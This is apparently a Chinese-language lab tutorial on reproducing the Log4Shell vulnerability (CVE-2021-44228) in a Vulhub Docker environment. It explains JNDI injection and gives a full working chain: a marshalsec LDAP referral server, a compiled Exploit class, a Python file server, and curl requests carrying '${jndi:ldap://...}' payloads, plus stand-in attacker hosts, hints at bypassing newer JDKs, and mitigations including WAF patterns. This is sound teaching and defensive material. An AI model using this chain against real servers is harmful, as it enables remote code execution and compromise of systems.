Log4j2漏洞复现:从JNDI注入原理到实战RCE利用

Log4j2漏洞复现:从JNDI注入原理到实战RCE利用

1. 项目概述:为什么我们要亲手复现Log4j2漏洞?

去年年底,安全圈被一个代号为“Log4Shell”的漏洞彻底点燃了。它的正式编号是CVE-2021-44228,影响的是Java生态中几乎无处不在的日志组件Apache Log4j2。这个漏洞的威力在于,攻击者无需任何认证,只需要让目标应用记录一条精心构造的日志,就能在服务器上执行任意代码。一时间,从大型互联网公司到个人开发者项目,全球数百万计的应用都拉响了警报。

你可能在新闻里看过很多分析,也了解它的严重性评级是“危重”的10.0分。但安全研究,尤其是漏洞研究,最忌讳的就是“纸上谈兵”。看一百篇分析报告,不如自己动手搭建环境、触发一次漏洞来得深刻。复现漏洞不仅能帮你真正理解其触发原理和利用链条,更是构建你个人漏洞分析、应急响应乃至代码审计能力的基石。

今天,我们就用最受安全研究者欢迎的Vulhub靶场环境,来完整地走一遍CVE-2021-44228的复现流程。Vulhub提供了一键化的漏洞环境,能让我们快速聚焦于漏洞本身,而不是浪费在繁琐的环境搭建上。整个过程,我会带你从零开始,看到漏洞如何被触发,并最终拿到服务器的命令执行权限。准备好了吗?我们这就开始。

2. 环境准备与Vulhub靶场搭建

工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全研究的首要前提。我们选择Vulhub,是因为它将数百个漏洞环境做成了Docker Compose项目,无需复杂的配置,几条命令就能拉起一个完整的、包含漏洞的靶机。

2.1 基础系统与依赖安装

首先,你需要一台Linux机器作为实验主机。我强烈推荐使用Ubuntu 20.04 LTS或更新版本,或者Kali Linux,它们在包管理和工具链上对安全研究非常友好。物理机、虚拟机(如VMware、VirtualBox)或云服务器都可以。

核心依赖只有两个:DockerDocker Compose。Docker负责创建隔离的容器环境,而Docker Compose则用于定义和运行多容器的Vulhub应用。

安装Docker:对于Ubuntu/Debian系系统,官方的一键安装脚本是最快最稳的方式。打开终端,执行以下命令:

curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh

安装完成后,将当前用户加入docker组,这样以后就不用每次都加sudo了:

sudo usermod -aG docker $USER

重要提示:执行完上述命令后,你需要完全退出当前终端会话并重新登录,或者重启系统,用户组的变更才会生效。否则,你会遇到“权限被拒绝”的错误。

验证安装:docker --versiondocker run hello-world,如果能看到版本信息和欢迎提示,说明Docker安装成功。

安装Docker Compose:同样推荐使用官方脚本安装最新稳定版:

sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose

验证:docker-compose --version

注意:国内服务器如果访问GitHub速度慢,可以使用国内镜像源。例如,安装Docker时可以使用阿里云的镜像脚本,安装Docker Compose时可以从DaoCloud镜像下载。

2.2 获取与启动Vulhub的Log4j2环境

Vulhub的项目托管在GitHub上。我们将其克隆到本地:

git clone https://github.com/vulhub/vulhub.git cd vulhub

项目目录下按漏洞分类组织了数百个环境。我们要找的Log4j2漏洞位于log4j/CVE-2021-44228目录。

cd log4j/CVE-2021-44228

现在,使用Docker Compose一键构建并启动漏洞环境:

docker-compose up -d

这个命令会执行以下操作:

  1. 读取当前目录下的docker-compose.yml配置文件。
  2. 从Docker Hub拉取预先构建好的漏洞应用镜像(如果本地没有)。
  3. 根据配置创建并启动容器。

-d参数代表“后台运行”。执行成功后,你会看到类似Creating vulhub_log4j2_1 ... done的提示。

如何确认环境已成功启动?

  • 使用docker-compose ps命令,查看容器状态是否为Up
  • 使用docker-compose logs可以查看容器的启动日志,确认应用没有报错。

Vulhub的Log4j2环境通常会启动一个简单的Spring Boot Web应用,它内部使用了存在漏洞的Log4j2版本(通常是2.14.1或更低)。这个应用会监听在宿主机的某个端口上(比如8080),等待我们的攻击。

实操心得:第一次拉取镜像可能会比较慢,取决于你的网络。耐心等待即可。如果遇到端口冲突(比如你本机的8080端口已被占用),可以去修改docker-compose.yml文件,将ports映射项(如8080:8080)的前一个端口号改为其他空闲端口,例如8088:8080,然后重新运行docker-compose up -d

3. 漏洞原理深度解析:JNDI注入与Log4j2的“罪与罚”

在动手复现之前,我们必须搞清楚这个漏洞到底是怎么一回事。知其然,更要知其所以然。这不仅能帮你理解后续的每一步操作,更能让你在未来的代码审计或安全开发中,一眼识别出类似的危险模式。

3.1 Log4j2的“ lookup ”功能与消息格式化

Log4j2是一个功能强大的日志框架,它支持在日志消息中动态插入一些上下文信息。这个功能的核心是“Lookup”,格式是${prefix:name}。例如:

  • ${java:runtime}可以插入Java运行时信息。
  • ${env:USER}可以插入系统环境变量USER的值。
  • ${date:yyyy-MM-dd}可以插入当前日期。

这个设计的初衷是为了让日志内容更丰富、更有价值。问题出在其中一个Lookup实现:JNDI Lookup。JNDI(Java Naming and Directory Interface)是Java的一个API,用于访问各种命名和目录服务,比如LDAP、RMI、DNS等。Log4j2支持通过${jndi:ldap://evil.com/obj}这样的语法,在记录日志时去远程服务器查找并加载对象。

3.2 漏洞触发链条:从日志记录到远程代码执行

漏洞的完整攻击链条(Attack Chain)可以概括为以下几步:

  1. 输入注入:攻击者找到一个可以向应用输入数据的地方,并且这个输入最终会被Log4j2记录到日志中。这太常见了:HTTP请求头(如User-AgentX-Forwarded-For)、请求参数、表单数据、甚至Cookie。例如,攻击者在浏览器的搜索框里输入${jndi:ldap://attacker.com/a}

  2. 日志记录:应用程序在处理这个请求时,毫无戒备地将这个包含${jndi:...}的字符串记录到了日志文件里。Log4j2在格式化这条日志消息时,会识别出${}结构。

  3. JNDI解析:Log4j2发现这是jndilookup,于是它按照这个URL(ldap://attacker.com/a)去连接攻击者控制的LDAP服务器。

  4. 恶意代码加载:攻击者的LDAP服务器返回一个响应,这个响应指向另一个HTTP服务器上的一个Java类文件(.class)。这个类文件是攻击者事先准备好的恶意代码。

  5. 类加载与执行:存在漏洞的Log4j2(在特定Java版本下)会默认信任并加载这个远程的Java类,然后实例化它。攻击者的恶意代码(例如,一个构造方法里写了Runtime.getRuntime().exec("calc.exe"))就在受害服务器上执行了。

关键点在于:这个过程中,应用本身可能没有任何代码去主动调用JNDI或者加载远程类。是Log4j2这个底层日志库,在“尽职尽责”地解析日志消息时,自动完成了整个攻击链。这使得漏洞极其隐蔽,影响面巨大。

3.3 为什么Vulhub环境是完美的复现场景?

Vulhub提供的环境,模拟了一个最简单的Web应用。它可能只有一个功能:将用户输入的某个参数(比如HTTP请求中的X-Api-Version头)记录下来。这个应用本身没有任何业务逻辑漏洞,但它使用了有漏洞的Log4j2版本。这就精准地还原了漏洞爆发的经典场景——一个看似无害的日志记录点,成了攻击者长驱直入的大门。通过复现它,你能最直观地看到漏洞的“入口”和“出口”。

4. 攻击工具准备:搭建LDAP恶意服务器与Web服务

要成功复现,我们需要模拟攻击者的基础设施。主要是两个服务:

  1. 一个恶意的LDAP引用服务器:用于响应目标Log4j2的JNDI查询,并告诉它:“嘿,你要的类在那个HTTP服务器上,去那里下载吧。”
  2. 一个简单的HTTP文件服务器:用于托管我们构造的恶意Java类文件,当目标服务器根据LDAP的指引过来请求时,提供这个类文件。

我们将使用一个非常强大的工具:marshalsec。它最初是一个用于研究Java反序列化漏洞的工具集,其中包含了一个方便启动恶意JNDI/LDAP服务器的功能。

4.1 编译marshalsec

由于marshalsec是一个Java项目,我们需要先编译它。确保你的实验主机上安装了Java开发环境(JDK 8或11)和Maven。

# 安装JDK和Maven (以Ubuntu为例) sudo apt update sudo apt install openjdk-11-jdk-headless maven -y # 克隆marshalsec项目 git clone https://github.com/mbechler/marshalsec.git cd marshalsec # 使用Maven进行编译。这个过程会下载依赖,可能需要一些时间。 mvn clean package -DskipTests

编译成功后,你会在target目录下找到marshalsec-0.0.3-SNAPSHOT-all.jar文件。这个JAR包就是我们需要的工具。

4.2 构造恶意Java类

接下来,我们需要创建一个会在目标服务器上执行的恶意Java类。为了演示且避免破坏,我们通常执行一个无害的命令,比如弹出一个计算器(在Linux上是打开一个简单的文本编辑器xcalc,但服务器通常没有GUI),或者更通用一点,执行一条能明显看到效果的命令,例如向/tmp目录写入一个文件,或者发起一个网络请求到我们可控的服务器。

这里我们创建一个名为Exploit.java的文件:

public class Exploit { public Exploit() { try { // 这是一个无害的POC,在/tmp目录下创建一个文件,证明代码执行了。 // 在实际渗透测试中,这里可以替换为反弹Shell等命令。 String[] cmd = {"touch", "/tmp/pwned_by_log4j"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch (Exception e) { e.printStackTrace(); } } }

这个类的构造方法里,会执行touch /tmp/pwned_by_log4j命令,在服务器的/tmp目录下创建一个名为pwned_by_log4j的空文件。这是一个非常清晰的成功执行标志。

编译这个类:

javac Exploit.java

编译后会生成Exploit.class文件。将这个.class文件放到一个单独的目录,我们稍后要用HTTP服务把它暴露出去。

4.3 启动攻击服务

现在,我们打开两个终端窗口。

终端1:启动HTTP服务,托管恶意类文件。进入存放Exploit.class的目录,使用Python快速启动一个HTTP服务器:

# 在Exploit.class所在目录执行 python3 -m http.server 8888

这个命令会在本机的8888端口启动一个简单的HTTP服务,目录下的所有文件都可以通过http://你的IP:8888/文件名来访问。

终端2:启动恶意的LDAP引用服务器。进入之前编译好marshalsec.jar的目录,执行以下命令:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的攻击机IP:8888/#Exploit"

解释一下这个命令:

  • -cp:指定类路径,即我们的JAR包。
  • marshalsec.jndi.LDAPRefServer:启动LDAP引用服务器的主类。
  • "http://你的攻击机IP:8888/#Exploit":这是最重要的参数。它告诉LDAP服务器,当有客户端(即受害的Log4j2)来查询时,就返回一个指向这个HTTP地址的引用,并且指定的类名是Exploit#号后面的Exploit就是类名。

请务必将你的攻击机IP替换为你运行这些服务的Linux主机的真实IP地址(可以使用ip addrifconfig命令查看)。如果靶场和攻击工具都在同一台物理机的不同Docker容器或本机运行,可以使用宿主机的IP,或者使用Docker的内部网络IP(通常比较复杂)。对于Vulhub环境,最简单的方式是让靶场映射到宿主机的某个端口(如8080),然后攻击服务也运行在宿主机上,使用宿主机的IP。

LDAP服务器默认监听在1389端口。看到Listening on 0.0.0.0:1389的提示,说明服务启动成功。

至此,我们的“攻击阵地”就搭建完毕了。LDAP服务器在1389端口严阵以待,HTTP服务器在8888端口准备好了“弹药”(Exploit.class)。

5. 漏洞复现实操:触发、利用与验证

一切准备就绪,现在是见证“魔法”的时刻。我们将向存在漏洞的Vulhub应用发送一个包含恶意Payload的HTTP请求,触发整个漏洞链。

5.1 构造并发送攻击Payload

我们的目标是Vulhub启动的Web应用。首先,我们需要知道它的访问地址。如果按照默认配置且没有修改端口映射,它应该运行在http://localhost:8080。你可以用浏览器访问一下,或者用curl命令测试:

curl -I http://localhost:8080

能看到HTTP 200或404等响应即可,说明服务是活的。

关键的一步来了:我们需要找到一个会被Log4j2记录下来的输入点。Vulhub的漏洞环境通常设计得非常直接,它会将HTTP请求中的User-Agent头或者X-Api-Version头等内容记录到日志。我们就从这里入手。

使用curl命令发送一个携带恶意JNDI Payload的请求:

curl -H "User-Agent: \${jndi:ldap://你的攻击机IP:1389/Exploit}" http://localhost:8080

或者尝试其他常见的头部:

curl -H "X-Api-Version: \${jndi:ldap://你的攻击机IP:1389/Exploit}" http://localhost:8080

Payload详解:

  • \${jndi:ldap://你的攻击机IP:1389/Exploit}:这就是攻击字符串。jndi:指明使用JNDI Lookup。ldap://指定使用LDAP协议。后面跟着我们启动的恶意LDAP服务器的地址和端口。最后的/Exploit是LDAP查询的路径,它需要和启动LDAP服务器时指定的类名(Exploit)对应。

重要注意事项:在Bash命令行中,$符号有特殊含义(变量引用)。为了避免Bash先解析它,我们需要在$前加上反斜杠\进行转义,即写成\${jndi:...}。如果你在Burp Suite、Postman等图形化工具中发送请求,则直接使用${jndi:ldap://...}即可。

5.2 观察攻击链触发过程

当你发送上述请求后,立即回头去看运行着LDAP服务器和HTTP服务器的两个终端窗口,你会看到一连串的访问日志,这就是漏洞触发的证据:

  1. 在LDAP服务器终端,你会看到类似下面的连接记录:

    Send LDAP reference result for Exploit redirecting to http://你的攻击机IP:8888/Exploit.class

    这表示存在漏洞的应用(客户端)连接到了你的LDAP服务器(1389端口),询问“Exploit”是什么。你的LDAP服务器回答说:“去http://你的攻击机IP:8888/Exploit.class找这个类吧。”

  2. 在HTTP服务器终端,紧接着你会看到一条GET请求日志:

    你的靶机IP - - [日期时间] "GET /Exploit.class HTTP/1.1" 200 -

    这表示存在漏洞的应用听从了LDAP服务器的指引,又向你的HTTP服务器(8888端口)发起了请求,下载了Exploit.class这个恶意类文件。

这个过程清晰地展示了漏洞的完整链条:Web请求 -> 日志记录 -> Log4j2解析JNDI -> 查询外部LDAP -> 加载远程HTTP上的类

5.3 验证漏洞利用成功

攻击是否最终成功,取决于恶意类是否被加载并执行。我们之前构造的Exploit.class会在目标服务器的/tmp目录下创建一个文件。

现在,我们需要进入运行着漏洞应用的Docker容器内部,检查这个文件是否被创建。

# 首先,查看当前目录下运行的容器ID或名称 docker-compose ps # 假设容器名是 vulhub_log4j2_1,进入容器的shell docker exec -it vulhub_log4j2_1 /bin/bash # 进入容器后,检查/tmp目录 ls -la /tmp/

如果你在/tmp目录下看到了pwned_by_log4j这个文件,那么恭喜你!你已成功复现了CVE-2021-44228漏洞,并实现了远程代码执行(RCE)。

退出容器:输入exit即可。

这个创建文件的操作,证明了攻击者可以在你的服务器上执行任意系统命令。在实际攻击中,攻击者完全可以替换成下载木马、植入挖矿程序、窃取数据、反弹Shell建立持久化控制等恶意操作。

6. 漏洞修复与缓解措施分析

成功复现漏洞让我们感受到了它的威力,但更重要的是,我们要知道如何防御它。作为开发者或运维人员,了解修复方案是必须的。

6.1 根本解决方案:升级Log4j2

Apache官方发布了多个安全版本修复此漏洞,最彻底的解决方案是升级到不受影响的版本

  • Log4j 2.17.1(Java 8+)
  • Log4j 2.12.4(Java 7)
  • Log4j 2.3.2(Java 6)

对于使用Maven的项目,在pom.xml中修改Log4j2的版本号即可:

<properties> <log4j2.version>2.17.1</log4j2.version> </properties> ... <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>${log4j2.version}</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>${log4j2.version}</version> </dependency>

升级后,Log4j2默认禁用了JNDI Lookup功能,并从2.16.0版本开始默认只允许本地JNDI数据源,彻底堵死了漏洞。

6.2 临时缓解措施

如果因为某些原因无法立即升级,可以采用以下缓解方案,但这些方案可能存在被绕过或影响功能的风险,仅作为临时手段

  1. 修改JVM参数(最推荐、影响最小的临时方案): 在启动应用的JVM参数中添加:

    -Dlog4j2.formatMsgNoLookups=true

    这个参数从Log4j2 2.10.0版本开始引入,可以全局关闭Lookup功能。对于2.0-beta9到2.10.0之间的版本有效。

  2. 移除易受攻击的类(简单粗暴): 找到Log4j2的核心JAR包(如log4j-core-*.jar),删除其中与JNDI Lookup相关的类:

    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    此方法可能因Log4j2内部调用而导致未知错误,需充分测试。

  3. 设置系统环境变量

    LOG4J_FORMAT_MSG_NO_LOOKUPS=true

    其原理与JVM参数类似,但需要应用支持从环境变量读取此配置。

  4. 使用WAF/防火墙进行流量过滤: 在网络边界部署WAF(Web应用防火墙),配置规则拦截所有包含${jndi:${ldap:${rmi:等模式的请求。这是一种外部防护,不能修复应用本身。

6.3 安全开发建议

从这次事件中,我们可以吸取以下教训:

  • 依赖管理至关重要:定期使用工具(如OWASP Dependency-Check、GitHub Dependabot)扫描项目依赖,及时更新存在已知漏洞的组件。
  • 最小化攻击面:非必要不启用危险功能。像JNDI Lookup这种高风险特性,在绝大多数业务场景下都是不必要的。
  • 输入过滤与输出编码:对所有外部输入保持警惕,即使是要写入日志的内容,也应考虑进行适当的过滤或编码。但请注意,完全依赖输入过滤来防御此类漏洞是非常困难的,因为触发点可能非常多。
  • 深度防御:结合网络隔离、权限最小化(应用程序以低权限用户运行)、完善的监控告警(如检测异常子进程创建、对外网络连接)等多层安全措施。

7. 复现过程中的常见问题与排查技巧

即使是按照步骤操作,你也可能会遇到一些问题。这里我总结了一些常见的坑和排查思路。

7.1 问题速查表

问题现象可能原因排查步骤与解决方案
docker-compose up失败,提示端口占用宿主机端口已被其他程序占用1. 使用netstat -tulnp | grep :端口号查看占用进程。
2. 修改docker-compose.yml中的端口映射,如将8080:8080改为8088:8080
发送Payload后,LDAP/HTTP服务器无任何连接日志1. Payload未触发日志记录点。
2. 网络不通。
3. Payload格式错误。
1. 尝试其他HTTP头部,如X-Forwarded-For,Referer, 或GET/POST参数。
2. 检查攻击机IP是否正确,确保靶场容器能访问到宿主机的IP(可尝试在容器内pingcurl攻击机)。
3. 检查Payload中的$是否在命令行中正确转义(加\),或直接使用Burp Suite发送。
LDAP服务器有连接,但HTTP服务器无请求1. Java版本较高(>=8u191),默认禁用了远程类加载。
2. 恶意类编译的Java版本与靶场环境不兼容。
1.这是最常见的原因!Vulhub环境可能使用了高版本JDK。检查容器内Java版本:docker exec 容器名 java -version。高版本JDK默认信任范围有限,需使用其他绕过方式(如利用本地ClassPath中的类)。
2. 确保javac编译版本与靶场Java版本一致或更低。
HTTP服务器收到请求但返回404HTTP服务启动目录不对,Exploit.class文件不在当前目录。确认启动Python HTTP服务器的目录下存在Exploit.class文件。
进入容器后,/tmp/pwned_by_log4j文件不存在1. 漏洞未成功触发(原因同上)。
2. 命令执行失败(如权限问题)。
3. 容器文件系统是临时的。
1. 系统回顾攻击链日志,确认每一步都走通了。
2. 在恶意类中尝试更简单的命令,如echo test > /tmp/test
3. 检查容器内是否有写/tmp的权限。
使用curl发送Payload时,$被bash解析在命令行中未对$进行转义。$前加反斜杠,即使用\${jndi:...}。或在Payload前后使用单引号'包裹。

7.2 高阶技巧与深度排查

如果遇到Java高版本(>=8u191, 11.0.1)导致的利用失败,说明默认的LDAP远程加载类被限制了。此时可以尝试以下方法:

  1. 利用本地ClassPath中的类进行绕过:这是更可靠的复现方式。思路是让JNDI引用指向目标服务器本身ClassPath中已有的、具有危险方法的类,例如org.apache.naming.factory.BeanFactory结合EL表达式处理器。这需要更复杂的Payload构造,通常借助如ysoserial等工具生成。这属于漏洞利用的深入技巧,在初步复现时,可以暂时通过调整Vulhub环境使用的Docker镜像,将其基础Java版本降级到8u191以下(例如openjdk:8u102-jre)来简化实验。

  2. 深入查看应用日志:进入漏洞应用容器,直接查看其输出的日志文件,看看Log4j2是否记录了你发送的Payload,以及是否有错误信息。

    docker exec -it vulhub_log4j2_1 /bin/bash # 通常Spring Boot应用日志在控制台或 /var/log/ 下,具体看Dockerfile或启动脚本 # 可以尝试查找 .log 文件或使用 `find` 命令 tail -f /path/to/application.log

    在另一个终端发送Payload,观察日志输出,看是否有异常栈信息,这能提供最直接的线索。

  3. 使用网络抓包分析:在攻击机或宿主机上使用tcpdumpWireshark抓包,过滤端口1389和8888,可以清晰地看到LDAP和HTTP协议的通信过程,确认数据包是否按预期发送和接收。

复现漏洞的过程,本质上是一个调试和验证的过程。遇到问题时,耐心地、一步一步地检查每个环节的状态(网络、服务、日志、文件),是安全研究员必备的素质。通过这次完整的CVE-2021-44228复现,你不仅掌握了一个具体漏洞的利用方法,更搭建起了一套属于自己的漏洞研究基础环境和方法论。这才是本次实践最大的价值。